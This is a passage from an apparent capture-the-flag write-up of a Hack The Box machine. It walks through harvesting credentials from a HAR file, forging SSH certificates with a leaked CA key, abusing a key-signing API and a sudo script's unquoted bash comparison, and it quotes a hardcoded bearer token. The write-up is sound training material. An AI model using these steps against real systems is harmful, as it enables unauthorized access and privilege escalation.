</span></span><span style="display:flex;"><span> <span style="color:#fe8019">die</span>(<span style="color:#b8bb26">&#34;Connection failed: &#34;</span> <span style="color:#fe8019">.</span> $e<span style="color:#fe8019">-&gt;</span><span style="color:#b8bb26;font-weight:bold">getMessage</span>());
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>But we can&rsquo;t connect to mysql.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809190108.webp" alt="">
Maybe we can ssh directly into the host machine using the credential?
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020241129193523.webp" alt=""></p>
<p><img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020241129193539.webp" alt="">
And that wasn&rsquo;t working either.</p>
<p>Before moving on I checked the <code>index.php</code> file to investigate why the <code>phar://</code> attack worked and why the path traversal didn&rsquo;t:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#fe8019">&lt;?</span>php session_start();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> (isset($_GET[<span style="color:#b8bb26">&#34;page&#34;</span>]) <span style="color:#fe8019">and</span> file_exists($_GET[<span style="color:#b8bb26">&#34;page&#34;</span>] <span style="color:#fe8019">.</span> <span style="color:#b8bb26">&#34;.php&#34;</span>)){
</span></span><span style="display:flex;"><span> $page <span style="color:#fe8019">=</span> $_GET[<span style="color:#b8bb26">&#34;page&#34;</span>] <span style="color:#fe8019">.</span> <span style="color:#b8bb26">&#34;.php&#34;</span>;
</span></span><span style="display:flex;"><span>} <span style="color:#fe8019">elseif</span> (isset($_SESSION[<span style="color:#b8bb26">&#34;username&#34;</span>])) {
</span></span><span style="display:flex;"><span> $page <span style="color:#fe8019">=</span> <span style="color:#b8bb26">&#34;dashboard.php&#34;</span>;
</span></span><span style="display:flex;"><span>} <span style="color:#fe8019">else</span> {
</span></span><span style="display:flex;"><span> $page <span style="color:#fe8019">=</span> <span style="color:#b8bb26">&#34;home.php&#34;</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">require_once</span> <span style="color:#b8bb26">&#34;header.inc.php&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">echo</span> <span style="color:#b8bb26">&#34;&lt;div class=</span><span style="color:#b8bb26">\&#34;</span><span style="color:#b8bb26">main</span><span style="color:#b8bb26">\&#34;</span><span style="color:#b8bb26">&gt;&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#fe8019">include_once</span> $page;
</span></span><span style="display:flex;"><span><span style="color:#fe8019">echo</span> <span style="color:#b8bb26">&#34;&lt;/div&gt;&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">require_once</span> <span style="color:#b8bb26">&#34;footer.inc.php&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#8ec07c">?&gt;</span>
</span></span></code></pre></div><p>It appends <code>.php</code> to the value of <code>page</code> parameter and checks if that file exists in the server using <code>file_exists()</code> function. That&rsquo;s why we were not able to read <code>/etc/passwd</code> file before, because even if we add a <code>#</code> at the end the <code>file_exists(&quot;../../../../etc/passwd#.php&quot;)</code> check will fail. This is not that secure because we can perform path traversal and include <code>php</code> files in other folders like <code>../../test.php</code>. But including <code>php</code> files already in the server doesn&rsquo;t help us get a shell. Also the server strictly checks the uploaded file is a <code>zip</code> file. So 0xdf, creator of the challenge chained this with a <code>phar://</code> deserialization attack. cool&hellip;
After a lot of enumeration I couldn&rsquo;t find anything useful. Then I checked the <code>uploads/</code> directory and filtered all the <code>zip</code> files to check if there&rsquo;s anything interesting.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809191048.webp" alt=""></p>
<p>It&rsquo;s a <a href="https://en.wikipedia.org/wiki/HAR_(file_format)">HAR</a> file:</p>
<div
class="alert alert-note "
style="border-color: #076678;"
>
<div
class="alert-heading-box"
>
<i
class="bx bx-info-circle"
style="color: #076678;"
></i>
<p
class="alert-heading"
style="color: #076678"
>
What&rsquo;s a HAR file?
</p>
</div>
<div class="alert-content" >
<p>The <strong>HTTP Archive</strong> format, or <strong>HAR</strong>, is a JSON-formatted archive file format for logging of a web browser&rsquo;s interaction with a site. The common extension for these files is <strong>.har</strong>.</p>
</div>
</div>
<script>
function toggleAlert(headerElement) {
var alertBox = headerElement.parentElement;
var alertContent = alertBox.querySelector('.alert-content');
var icon = headerElement.querySelectorAll('i')[1];
alertBox.classList.toggle('open');
alertBox.classList.toggle('collapsed');
if (alertBox.classList.contains('open')) {
alertContent.style.display = 'block';
icon.classList.remove('open');
icon.classList.add('collapsed');
} else {
icon.classList.remove('collapsed');
icon.classList.add('open');
alertContent.style.display = 'none';
}
}
</script>
<p>Since it logs all the interactions, we can check for leaked login credentials in this file, and we found one
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809191638.webp" alt=""></p>
<p>It&rsquo;s definitely a user in the machine</p>
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809191735.webp" alt=""><h2 id="lateral-movement---user-msainristil">Lateral Movement - user msainristil</h2>
<p>The container is running <code>sshd</code> so we can try ssh into the user with the password
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809192052.webp" alt=""></p>
<p>And it works</p>
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809192137.webp" alt=""><p>There is a <code>decommission_old_ca</code> directory in the home
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809192355.webp" alt="">
And it&rsquo;s actually a <a href="https://www.lorier.net/docs/ssh-ca.html">Certification Authority key</a>
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809192513.webp" alt=""></p>
<h2 id="lateral-movement---user-zzinter">Lateral Movement - user zzinter</h2>
<p>You can check the website I linked above or the <code>CERTIFICATES</code> section in the man page of <code>ssh-keygen</code> to learn more about this.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809195007.webp" alt="">
So basically we can sign ssh keys for the users in the machine using this CA.
Fi./rst we have to copy the private key <code>ca-itrc</code> to our local machine. Then create an ssh key pair, and sign it using the CA key for the user <code>zzinter</code> on the machine.</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>chmod <span style="color:#d3869b">600</span> ca-itrc
</span></span><span style="display:flex;"><span>ssh-keygen -t rsa -f ctf
</span></span><span style="display:flex;"><span>ssh-keygen -s ca-itrc -I <span style="color:#b8bb26">&#34;zzinter@itrc user key&#34;</span> -n <span style="color:#b8bb26">&#34;zzinter&#34;</span> ./ctf.pub
</span></span></code></pre></div><br>
<div
class="alert alert-note collapsed"
style="border-color: #076678;"
>
<div
class="alert-heading-box"
onclick="toggleAlert(this)"
>
<i
class="bx bx-info-circle"
style="color: #076678;"
></i>
<p
class="alert-heading"
style="color: #076678"
>
Explantion
</p>
<i
class='bx bx-chevron-down collapsed'
style="color: #076678;"
></i>
</div>
<div class="alert-content" style="display: none;">
<p>First we create a ssh key pair <br>
<code>-t rsa</code> is to set the type of the key to <code>rsa</code><br>
<code>-f</code> is to specify the name of the file<br>
Then we sign the public key using the CA certificate<br>
<code>-s</code> specifies the CA certificate<br>
<code>-I</code> it should be in the format <code>user@hostname user key</code><br>
<code>-n</code> specifies the username<br></p>
</div>
</div>
<script>
function toggleAlert(headerElement) {
var alertBox = headerElement.parentElement;
var alertContent = alertBox.querySelector('.alert-content');
var icon = headerElement.querySelectorAll('i')[1];
alertBox.classList.toggle('open');
alertBox.classList.toggle('collapsed');
if (alertBox.classList.contains('open')) {
alertContent.style.display = 'block';
icon.classList.remove('open');
icon.classList.add('collapsed');
} else {
icon.classList.remove('collapsed');
icon.classList.add('open');
alertContent.style.display = 'none';
}
}
</script>
<p>It will generate a <code>ctf-cert.pub</code> file. Now we can copy all the generated files into the <code>decommission_old_ca</code> directory. We can start a python http server in our machine and use wget to download all the files</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#928374;font-style:italic"># our machine</span>
</span></span><span style="display:flex;"><span>mkdir www
</span></span><span style="display:flex;"><span>mv ctf* www <span style="color:#fe8019">&amp;&amp;</span> <span style="color:#fabd2f">cd</span> www
</span></span><span style="display:flex;"><span>python3 -m http.server <span style="color:#d3869b">8000</span>
</span></span><span style="display:flex;"><span><span style="color:#928374;font-style:italic"># htb machine</span>
</span></span><span style="display:flex;"><span>wget http://10.10.10.1:8000/ -r -nd <span style="color:#fe8019">&amp;&amp;</span> rm index.html
</span></span></code></pre></div><p>Now we can login to <code>zzinter</code> using the ssh private key:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>ssh [email protected] -i ctf -o CertificateFile<span style="color:#fe8019">=</span>ctf-cert.pub
</span></span></code></pre></div><img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809200037.webp" alt=""><hr>
<h1 id="privilege-escalation">Privilege Escalation</h1>
<h2 id="local-enumeration-1">Local Enumeration</h2>
<p>There&rsquo;s a <code>sign_key_api.sh</code> file in the home
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809200324.webp" alt=""></p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#8ec07c">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#8ec07c"></span>
</span></span><span style="display:flex;"><span>usage <span style="color:#fe8019">()</span> <span style="color:#fe8019">{</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Usage: </span>$0<span style="color:#b8bb26"> &lt;public_key_file&gt; &lt;username&gt; &lt;principal&gt;&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">exit</span> <span style="color:#d3869b">1</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> <span style="color:#fe8019">[</span> <span style="color:#b8bb26">&#34;</span>$#<span style="color:#b8bb26">&#34;</span> -ne <span style="color:#d3869b">3</span> <span style="color:#fe8019">]</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> usage
</span></span><span style="display:flex;"><span><span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>public_key_file<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;</span>$1<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span>username<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;</span>$2<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span>principal_str<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;</span>$3<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>supported_principals<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;webserver,analytics,support,security&#34;</span>
</span></span><span style="display:flex;"><span>IFS<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#39;,&#39;</span> <span style="color:#fabd2f">read</span> -ra principal <span style="color:#fe8019">&lt;&lt;&lt;</span> <span style="color:#b8bb26">&#34;</span>$principal_str<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">for</span> word in <span style="color:#b8bb26">&#34;</span><span style="color:#b8bb26">${</span>principal[@]<span style="color:#b8bb26">}</span><span style="color:#b8bb26">&#34;</span>; <span style="color:#fe8019">do</span>
</span></span><span style="display:flex;"><span> <span style="color:#fe8019">if</span> ! <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;</span>$supported_principals<span style="color:#b8bb26">&#34;</span> | grep -qw <span style="color:#b8bb26">&#34;</span>$word<span style="color:#b8bb26">&#34;</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Error: &#39;</span>$word<span style="color:#b8bb26">&#39; is not a supported principal.&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Choose from:&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34; webserver - external web servers - webadmin user&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34; analytics - analytics team databases - analytics user&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34; support - IT support server - support user&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34; security - SOC servers - support user&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span>
</span></span><span style="display:flex;"><span> usage
</span></span><span style="display:flex;"><span> <span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> <span style="color:#fe8019">[</span> ! -f <span style="color:#b8bb26">&#34;</span>$public_key_file<span style="color:#b8bb26">&#34;</span> <span style="color:#fe8019">]</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Error: Public key file &#39;</span>$public_key_file<span style="color:#b8bb26">&#39; not found.&#34;</span>
</span></span><span style="display:flex;"><span> usage
</span></span><span style="display:flex;"><span><span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>public_key<span style="color:#fe8019">=</span><span style="color:#fe8019">$(</span>cat $public_key_file<span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>curl -s signserv.ssg.htb/v1/sign -d <span style="color:#b8bb26">&#39;{&#34;pubkey&#34;: &#34;&#39;</span><span style="color:#b8bb26">&#34;</span>$public_key<span style="color:#b8bb26">&#34;</span><span style="color:#b8bb26">&#39;&#34;, &#34;username&#34;: &#34;&#39;</span><span style="color:#b8bb26">&#34;</span>$username<span style="color:#b8bb26">&#34;</span><span style="color:#b8bb26">&#39;&#34;, &#34;principals&#34;: &#34;&#39;</span><span style="color:#b8bb26">&#34;</span>$principal<span style="color:#b8bb26">&#34;</span><span style="color:#b8bb26">&#39;&#34;}&#39;</span> -H <span style="color:#b8bb26">&#34;Content-Type: application/json&#34;</span> -H <span style="color:#b8bb26">&#34;Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE&#34;</span>
</span></span></code></pre></div><p>This script calls and api to sign ssh public keys. We can run the script and give it a public key, username, and a principal value (from <code>webserver</code>, <code>analytics</code>, <code>support</code>, and <code>security</code>). This api might be trying to sign the given public key with a CA certificate present in the host machine. To sign the pubilc key, we have to figure out valid username and principal combination. I first checked user <code>root</code> and all of he mentioned principals. But none of them worked, then after some more trial and error I found a valid combo <code>support:support</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>ssh-keygen -t rsa -f ctf-support
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#928374;font-style:italic"># copy the pub file into the htb machine and run the script</span>
</span></span><span style="display:flex;"><span>bash sign_key_api.sh ./ctf-support.pub support support
</span></span></code></pre></div><p>This will generate a <code>cert</code> file and we can login to ssh using this cert file and the private key. Note that there&rsquo;s to ssh port open <code>22</code> and <code>2222</code>. The <code>22</code> port is for the docker and maybe the <code>2222</code> is for the host.</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>ssh [email protected] -p <span style="color:#d3869b">2222</span> -i ctf-support -o CertificateFile<span style="color:#fe8019">=</span>support.cert
</span></span></code></pre></div><img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809202958.webp" alt=""><h2 id="privilege-escalation-vector">Privilege Escalation vector</h2>
<p>I checked the other users in the machine
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809205216.webp" alt="">
There&rsquo;s a zzinter user in this machine. We can try generating another <code>cert</code> file using the previous script for this user. I tried all 4 principals mentioned in the script but none of them worked.
We can look inside <code>/etc/ssh</code> to know how this is configured. I recomend you to check this blog to learn more about CAs and Principals <a href="https://dmuth.medium.com/ssh-at-scale-cas-and-principals-b27edca3a5d">https://dmuth.medium.com/ssh-at-scale-cas-and-principals-b27edca3a5d</a>
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809205819.webp" alt=""></p>
<p>root login is enabled in the <code>sshd_config</code> file. If we check the <code>/etc/ssh/sshd_conf.d/sshcerts.conf</code> we can see where the principals are stored
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809205926.webp" alt=""></p>
<p>As we can see there are 2 more principals that were not mentioned in the previous script that used to sign the ssh public key.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809210224.webp" alt="">
Let&rsquo;s copy the previous script, ad these two new principals to the script and try login as root.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020241129222723.webp" alt=""></p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ssh-keygen -t rsa -f ctf-root
</span></span><span style="display:flex;"><span>bash sign_key_api.sh ./ctf-root.pub root root_user
</span></span></code></pre></div><p><img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020241129222955.webp" alt="">
We can&rsquo;t sign the key for root user.</p>
<p>Let&rsquo;s try zzinter</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>ssh-keygen -t rsa -f ctf-zzinter
</span></span><span style="display:flex;"><span>bash sign_key_api.sh ./ctf-zzinter.pub zzinter zzinter_temp
</span></span></code></pre></div><p><img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020241129223252.webp" alt="">
We got an output, and if we tried to log in using this cert file as user zzinter</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>ssh [email protected] -p <span style="color:#d3869b">2222</span> -i ctf-zzinter -o CertificateFile<span style="color:#fe8019">=</span>zzinter.cert
</span></span></code></pre></div><p>We logged in as zzinter
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809210913.webp" alt=""></p>
<p>User zzinter can run <code>/opt/sign_key.sh</code> with sudo privileges</p>
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809211043.webp" alt=""><div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#8ec07c">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#8ec07c"></span>
</span></span><span style="display:flex;"><span>usage <span style="color:#fe8019">()</span> <span style="color:#fe8019">{</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Usage: </span>$0<span style="color:#b8bb26"> &lt;ca_file&gt; &lt;public_key_file&gt; &lt;username&gt; &lt;principal&gt; &lt;serial&gt;&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">exit</span> <span style="color:#d3869b">1</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> <span style="color:#fe8019">[</span> <span style="color:#b8bb26">&#34;</span>$#<span style="color:#b8bb26">&#34;</span> -ne <span style="color:#d3869b">5</span> <span style="color:#fe8019">]</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> usage
</span></span><span style="display:flex;"><span><span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ca_file<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;</span>$1<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span>public_key_file<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;</span>$2<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span>username<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;</span>$3<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span>principal<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;</span>$4<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span>serial<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;</span>$5<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> <span style="color:#fe8019">[</span> ! -f <span style="color:#b8bb26">&#34;</span>$ca_file<span style="color:#b8bb26">&#34;</span> <span style="color:#fe8019">]</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Error: CA file &#39;</span>$ca_file<span style="color:#b8bb26">&#39; not found.&#34;</span>
</span></span><span style="display:flex;"><span> usage
</span></span><span style="display:flex;"><span><span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> <span style="color:#fe8019">[[</span> $ca <span style="color:#fe8019">==</span> <span style="color:#b8bb26">&#34;/etc/ssh/ca-it&#34;</span> <span style="color:#fe8019">]]</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Error: Use API for signing with this CA.&#34;</span>
</span></span><span style="display:flex;"><span> usage
</span></span><span style="display:flex;"><span><span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>itca<span style="color:#fe8019">=</span><span style="color:#fe8019">$(</span>cat /etc/ssh/ca-it<span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span>ca<span style="color:#fe8019">=</span><span style="color:#fe8019">$(</span>cat <span style="color:#b8bb26">&#34;</span>$ca_file<span style="color:#b8bb26">&#34;</span><span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> <span style="color:#fe8019">[[</span> $itca <span style="color:#fe8019">==</span> $ca <span style="color:#fe8019">]]</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Error: Use API for signing with this CA.&#34;</span>
</span></span><span style="display:flex;"><span> usage
</span></span><span style="display:flex;"><span><span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> <span style="color:#fe8019">[</span> ! -f <span style="color:#b8bb26">&#34;</span>$public_key_file<span style="color:#b8bb26">&#34;</span> <span style="color:#fe8019">]</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Error: Public key file &#39;</span>$public_key_file<span style="color:#b8bb26">&#39; not found.&#34;</span>
</span></span><span style="display:flex;"><span> usage
</span></span><span style="display:flex;"><span><span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>supported_principals<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;webserver,analytics,support,security&#34;</span>
</span></span><span style="display:flex;"><span>IFS<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#39;,&#39;</span> <span style="color:#fabd2f">read</span> -ra principal <span style="color:#fe8019">&lt;&lt;&lt;</span> <span style="color:#b8bb26">&#34;</span>$principal_str<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">for</span> word in <span style="color:#b8bb26">&#34;</span><span style="color:#b8bb26">${</span>principal[@]<span style="color:#b8bb26">}</span><span style="color:#b8bb26">&#34;</span>; <span style="color:#fe8019">do</span>
</span></span><span style="display:flex;"><span> <span style="color:#fe8019">if</span> ! <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;</span>$supported_principals<span style="color:#b8bb26">&#34;</span> | grep -qw <span style="color:#b8bb26">&#34;</span>$word<span style="color:#b8bb26">&#34;</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Error: &#39;</span>$word<span style="color:#b8bb26">&#39; is not a supported principal.&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Choose from:&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34; webserver - external web servers - webadmin user&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34; analytics - analytics team databases - analytics user&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34; support - IT support server - support user&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34; security - SOC servers - support user&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span>
</span></span><span style="display:flex;"><span> usage
</span></span><span style="display:flex;"><span> <span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> ! <span style="color:#fe8019">[[</span> $serial <span style="color:#fe8019">=</span>~ ^<span style="color:#fe8019">[</span>0-9<span style="color:#fe8019">]</span>+$ <span style="color:#fe8019">]]</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Error: &#39;</span>$serial<span style="color:#b8bb26">&#39; is not a number.&#34;</span>
</span></span><span style="display:flex;"><span> usage
</span></span><span style="display:flex;"><span><span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ssh-keygen -s <span style="color:#b8bb26">&#34;</span>$ca_file<span style="color:#b8bb26">&#34;</span> -z <span style="color:#b8bb26">&#34;</span>$serial<span style="color:#b8bb26">&#34;</span> -I <span style="color:#b8bb26">&#34;</span>$username<span style="color:#b8bb26">&#34;</span> -V -1w:forever -n <span style="color:#b8bb26">&#34;</span>$principals<span style="color:#b8bb26">&#34;</span> <span style="color:#b8bb26">&#34;</span>$public_key_name<span style="color:#b8bb26">&#34;</span>
</span></span></code></pre></div><p>This is similar to the previous script, but in here instead of using API, we can directly provide the <code>ca_file</code>. There&rsquo;s an if statement that checks if the provided <code>ca_file</code> is <code>/etc/ssh/ca-it</code>, if it is true then it will print the usage and exit.</p>
<p><img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020241129224415.webp" alt="">
The one thing to notice here is that the script first reads the content of both <code>/etc/ssh/ca-it</code> and the file we provide and tries to match the content. And specifically in that line:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#fe8019">if</span> <span style="color:#fe8019">[[</span> $itca <span style="color:#fe8019">==</span> $ca <span style="color:#fe8019">]]</span>; <span style="color:#fe8019">then</span>
</span></span></code></pre></div><p>It tries to match the content without surrounding the variables in quotest <code>&quot;</code>, which makes it possible to pattern match. Let&rsquo;s explain that with an example:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>pass<span style="color:#fe8019">=</span>$1
</span></span><span style="display:flex;"><span>root_pass<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;secretpass&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> <span style="color:#fe8019">[[</span> $root_pass <span style="color:#fe8019">==</span> $pass <span style="color:#fe8019">]]</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Access granted!&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">echo</span> <span style="color:#b8bb26">&#34;Wrong password!&#34;</span>
